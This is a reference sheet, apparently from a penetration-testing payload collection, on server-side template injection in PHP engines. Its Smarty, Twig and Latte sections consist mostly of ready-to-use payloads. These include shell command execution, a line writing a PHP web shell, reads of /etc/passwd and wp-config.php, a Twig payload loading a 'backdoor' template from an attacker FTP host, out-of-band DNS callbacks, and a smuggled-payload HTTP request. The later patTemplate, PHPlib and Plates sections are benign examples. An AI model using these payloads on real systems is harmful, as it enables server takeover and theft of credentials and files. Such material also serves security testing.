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# Server Side Template Injection - PHP
## Summary
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- [Templating Libraries ](#templating-libraries )
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- [Smarty ](#smarty )
- [Twig ](#twig )
- [Twig - Basic injection ](#twig---basic-injection )
- [Twig - Template format ](#twig---template-format )
- [Twig - Arbitrary File Reading ](#twig---arbitrary-file-reading )
- [Twig - Code execution ](#twig---code-execution )
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- [Latte ](#latte )
- [Latte - Basic injection ](#latte---basic-injection )
- [Latte - Code execution ](#latte---code-execution )
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- [patTemplate ](#pattemplate )
- [PHPlib ](#phplib-and-html_template_phplib )
- [Plates ](#plates )
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- [References ](#references )
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## Templating Libraries
| Template Name | Payload Format |
| -------------- | --------- |
| Laravel Blade | `{{ }}` |
| Latte | `{var $X=""}{$X}` |
| Mustache | `{{ }}` |
| Plates | `<?= ?>` |
| Smarty | `{ }` |
| Twig | `{{ }}` |
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## Smarty
[Official website ](https://www.smarty.net/docs/en/ )
> Smarty is a template engine for PHP.
```python
{$smarty.version}
{php}echo `id` ;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
---
## Twig
[Official website ](https://twig.symfony.com/ )
> Twig is a modern template engine for PHP.
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
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{{['nslookup oastify.com']|filter('system')}}
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```
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
```python
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
---
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## Latte
### Latte - Basic injection
```php
{var $X="POC"}{$X}
```
### Latte - Code execution
```php
{php system('nslookup oastify.com')}
```
---
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## patTemplate
> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
```xml
< patTemplate:tmpl name = "page" >
This is the main page.
< patTemplate:tmpl name = "foo" >
It contains another template.
< / patTemplate:tmpl >
< patTemplate:tmpl name = "hello" >
Hello {NAME}.< br / >
< / patTemplate:tmpl >
< / patTemplate:tmpl >
```
---
## PHPlib and HTML_Template_PHPLIB
[HTML_Template_PHPLIB ](https://github.com/pear/HTML_Template_PHPLIB ) is the same as PHPlib but ported to Pear.
`authors.tpl`
```html
< html >
< head > < title > {PAGE_TITLE}< / title > < / head >
< body >
< table >
< caption > Authors< / caption >
< thead >
< tr > < th > Name< / th > < th > Email< / th > < / tr >
< / thead >
< tfoot >
< tr > < td colspan = "2" > {NUM_AUTHORS}< / td > < / tr >
< / tfoot >
< tbody >
<!-- BEGIN authorline -->
< tr > < td > {AUTHOR_NAME}< / td > < td > {AUTHOR_EMAIL}< / td > < / tr >
<!-- END authorline -->
< / tbody >
< / table >
< / body >
< / html >
```
`authors.php`
```php
< ?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
---
## Plates
Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.
controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
page template:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
< h1 > User Profile< / h1 >
< p > Hello, <?=$this->e($name)?> < / p >
```
layout template:
```php
< html >
< head >
< title > <?=$this->e($title)?> < / title >
< / head >
< body >
<?=$this->section('content')?>
< / body >
< / html >
```
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## References
* [TODO ](#todo )
